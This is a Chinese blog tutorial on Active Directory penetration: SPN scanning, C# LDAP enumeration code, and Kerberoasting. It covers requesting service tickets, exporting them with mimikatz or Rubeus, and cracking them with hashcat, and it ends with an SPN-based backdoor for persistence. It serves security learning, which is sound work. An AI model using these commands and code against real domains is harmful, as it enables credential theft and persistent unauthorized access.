【域渗透】 SPN 扫描利用

KerberosSPN

为什么代码不高亮了??? 目瞪口呆!!!

0x00 前言

在内网渗透的信息收集中,机器服务探测一般都是通过端口扫描去做的,但是有些环境不允许这些操作。通过利用 SPN 扫描可快速定位开启了关键服务的机器,这样就不需要去扫对应服务的端口,有效规避端口扫描动作。

Kerberoasting 是域渗透中经常使用的一项技术,是通过爆破 TGS-REP 实现。

0x01 关于 SPN

服务主体名称(SPN: Service Principal Names)是服务实例,可以将其理解为一个服务(比如 HTTP、MSSQL)的唯一标识符,服务在加入域中时是自动注册的。

如果在整个林或域中的计算机上安装多个服务实例,则每个实例都必须具有自己的 SPN。如果客户端可能使用多个名称进行身份验证,则给定服务实例可以具有多个 SPNSPN 始终包含运行服务实例的主机的名称,因此服务实例可以为其主机名称或别名注册 SPN

如果用一句话来说明的话就是如果想使用 Kerberos 协议来认证服务,那么必须正确配置 SPN

SPN 可以分为两种:

  • 注册在域内机器账户(Computers)上
  • 注册在域内用户账户(Users)下

0x02 SPN 标准格式

在 SPN 语法中存在 4 种元素,两个必须元素和两个格外元素。其中 <service class><host> 为必需元素。

1
2
3
<service class>/<host>:<port> <servername>
服务类型/对应机器名:服务端口[默认端口可不写]
MSSQLSvc/SQLServer.rcoil.me:1433

0x03 使用 SetSPN 为机器(域用户)创建 SPN

命令语法类似如下:

1
Setspn -S http/<computername>.<domainname> <domain-user-account>

-S 参数:验证不存在重复项后,添加随意 SPN注意: -SWindows Server 2008 开始系统默认提供。

此处以 Web 服务器为例。

  • web 用户 运行 Web 服务器
  • 域管理员权限运行 cmd
1
2
Setspn -s http/WebDemo_PC.rcoil.me rcoil\web
Setspn -s http/WebDemo_PC.rcoil.me WebDemo_PC$

结果如下:

Snipaste_2019-06-06_15-41-04

0x04 借助 SetSPN 对域内相关服务进行查询

4.1、查询域内 MSSQL 数据库服务器

使用第 3 点中的对照表快速查询

1
setspn -T rcoil.me -Q */* | findstr "MSSQLSvc"

4.2、相关查询 C# 源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
using System;
using System.Collections.Generic;
using System.DirectoryServices;
using System.DirectoryServices.ActiveDirectory;
using System.Linq;
using System.Text;
using System.Text.RegularExpressions;

namespace SPNSearcher
{
class Program
{
static void Main(string[] args)
{
Domain CurrentDomain = Domain.GetCurrentDomain();
DirectoryEntry rootEntry = new DirectoryEntry("LDAP://rootDSE");
string RootDSE = (string)rootEntry.Properties["defaultNamingContext"].Value;

Console.WriteLine("[*] Current Domain: "+ CurrentDomain);
GetSPNInfor(RootDSE);
}

/// <summary>
/// 通过 SPN 扫描获取域中基于主机的 MSSQL、Exchange 等服务
/// </summary>
/// ADSearcherSPNTypes = "ADAM","AGPM","bo","CESREMOTE","Dfs","DNS","Exchange","FIMService","ftp","http","IMAP","ipp","iSCSITarget","kadmin","ldap","MS","sql","nfs","secshd","sip","SMTP","SoftGrid","TERMSRV","Virtual","vmrc","vnc","vpn","vssrvc","WSMAN","xmpp"
/// <param name="RootDSE">Current forest.</param>
public static void GetSPNInfor(string RootDSE)
{
Console.WriteLine("[*] Current Domian SPN Information:");

DirectoryEntry gcEntry = new DirectoryEntry("GC://" + RootDSE);

List<string> Supersedence = new List<string>();
Supersedence.AddRange(new string[]
{
"SQL:*MSSQL*:SQL Server 数据库",
"Exchange:*exchange*:Exchange 相关服务",
"DNS:*DNS*:DNS 服务",
"SQL:*MySql*:MySql 数据库",
"Oracle:*Oracle*:Oracle 数据库",
"postgres:*postgres*:Postgres 数据库",
"HTTPS:*HTTPS*:HTTPS Web 服务",
"HTTP:*HTTP*:HTTP Web 服务",
"VPN:*VPN*:VPN 远程接入服务",
"VNC:*VNC*:VNC 服务"
});

foreach (string SPNServiceFilter in Supersedence)
{
string[] sArray = Regex.Split(SPNServiceFilter, ":", RegexOptions.IgnoreCase);
string ContainsInfo = sArray[0].ToString();
string ADSearcherSPNTypes = sArray[1].ToString();
string SPNService = sArray[2].ToString();

using (gcEntry)
{
DirectorySearcher spnSearch = new DirectorySearcher(gcEntry, "(&(objectClass=user)(servicePrincipalName=" + ADSearcherSPNTypes + "))");

Console.WriteLine();
Console.WriteLine(" [+] SPN service: " + SPNService);

foreach (SearchResult sr in spnSearch.FindAll())
{
var SPNs = sr.Properties["servicePrincipalName"];

if (SPNs.Count > 1)
{
foreach (string spn in SPNs)
{
if (spn.Contains(ContainsInfo))
{
Console.WriteLine(" [>] SAM Account Name: {0}", sr.Properties["sAMAccountName"][0]);
Console.WriteLine(" [>] " + spn);
break;
}
}
}
else
{
Console.WriteLine(" [>] " + SPNs[0]);
}
}
}
}
}
}
}

自行添加需要的服务即可,更多的服务写在了备注中。

4.3、相关原理说明

在 SPN 扫描时我们可以直接通过脚本,或者命令去获悉内网已经注册的 SPN 内容

LDAP 协议全称是 Lightweight Directory Access Protocol,一般翻译都是翻译成 轻量目录访问协议。通俗点可以把 LDAP 协议理解为一个关系型数据库,其中存储了域内主机的各种配置信息。

在域控中默认安装有 ADSI 编辑器,它是 LDAP 的编辑器,可以通过在域控中运行 adsiedit.msc 来打开。

Snipaste_2019-06-10_10-43-30

我们的 SPN 查询,实际上就是就是查询 LDAP 中存储的内容。(以后会通过别的章节详细介绍 LDAP 协议

下图是 4.2MSSQL 查询的结果,协议为 LDAP

Snipaste_2019-06-10_10-19-38

4.4、更多扫描工具

扫描工具有很多,但是只要知道原理就不会觉得太难。

1
2
3
4
Discover-PAMSSQLServers(Powershell-AD-Recon)
GetUserSPNs(Powershell、vbs、Python)
PowerView(Powershell)
SetSPN(exe)

0x05 获取当前目标域中所有以域用户身份起服务的 SPN

查询以域用户身份起的服务,主要是为了后续 Kerberoast做准备。

  • 现成工具
1
2
cscript.exe GetUserSPNs.vbs
powerview --> Get-NetUser -SPN
  • C# 代码(其实就是查询LDAP):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public static void GetUserSPN(string RootDSE)
{
Console.WriteLine("[*] Current Domian SPN Information:");
Console.WriteLine();
DirectoryEntry gcEntry = new DirectoryEntry("GC://" + RootDSE);

string querySPN = @"(&(!objectClass=computer)(servicePrincipalName=*))";
using (gcEntry)
{
DirectorySearcher mssqlSearch = new DirectorySearcher(gcEntry, querySPN);

foreach (SearchResult sr in mssqlSearch.FindAll())
{
Console.WriteLine(" [>] SamAccountName: {0}", sr.Properties["sAMAccountName"][0]);
Console.WriteLine(" [>] DistinguishedName: {0}", sr.Properties["distinguishedName"][0]);
Console.WriteLine(" [>] ServicePrincipalName: {0}", sr.Properties["servicePrincipalName"][0]);
Console.WriteLine();
}
}
}
  • 结果如下:

    Snipaste_2019-06-10_11-22-02

0x06 Kerberoast (Kerberos TGS服务票据(Service Ticket)离线爆破)

6.1、申请 TGS

  • powershell
1
2
PS>Add-Type -AssemblyName System.IdentityModel
PS>New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "HTTP/WebDemo_PC.rcoil.me"
  • C#
1
2
3
4
5
6
7
8
9
10
11
public KerberosRequestorSecurityToken (string servicePrincipalName);

参数
servicePrincipalName
String
KerberosRequestorSecurityToken 安全令牌的服务主体名称。 设置 ServicePrincipalName 属性。
异常
ArgumentNullException
servicePrincipalName 为 null。
SecurityTokenException
无法为当前用户获取 Kerberos 票证。

这一整个过程是通过 AS-REQ、AS-REP、TGS-REQ、TGS-REP 这四个认证流程,最终获取到 RC4方式的加密票据。

6.2、获取 TGS-REP

Kerberos 协议中请求的票据会保存在内存中,可以通过 klist 命令查看当前会话存储的 kerberos 票据。

Snipaste_2019-06-10_15-17-14

  • 使用 mimikatzkerberos::list /export 导出。

  • SharpRost (如今的Rubeus)

    Snipaste_2019-06-10_15-53-24

  • Invoke-kerberoast-outputformat ,选择 hashcat 格式。

  • 综合以上代码,新建项目,项目地址: SPNSearcher

6.3、爆破 TGS-REP

此处爆破的是HTTP/WebDemo_PC.rcoil.me

可选择工具(工具始终是工具,看的是字典强不强):

1
2
tgsrepcrack.py(kerberoast套装)
hashcat(密码破解全能工具,kali自带)

Snipaste_2019-06-10_15-35-24

Snipaste_2019-06-10_15-46-01

0x07 Kerberoasting 的后门利用

在我们取得了 SPN 的修改权限后,可以为指定的域用户添加一个 SPN,这样可以随时获得该域用户的 TGS ,经过破解后获得明文口令。

0x08 参考

为报表服务器注册服务主体名称 (SPN)
KerberosRequestorSecurityToken(String)
从 Kekeo 到 Rubeus
域渗透——Kerberoasting

!坚持技术分享,您的支持将鼓励我继续创作!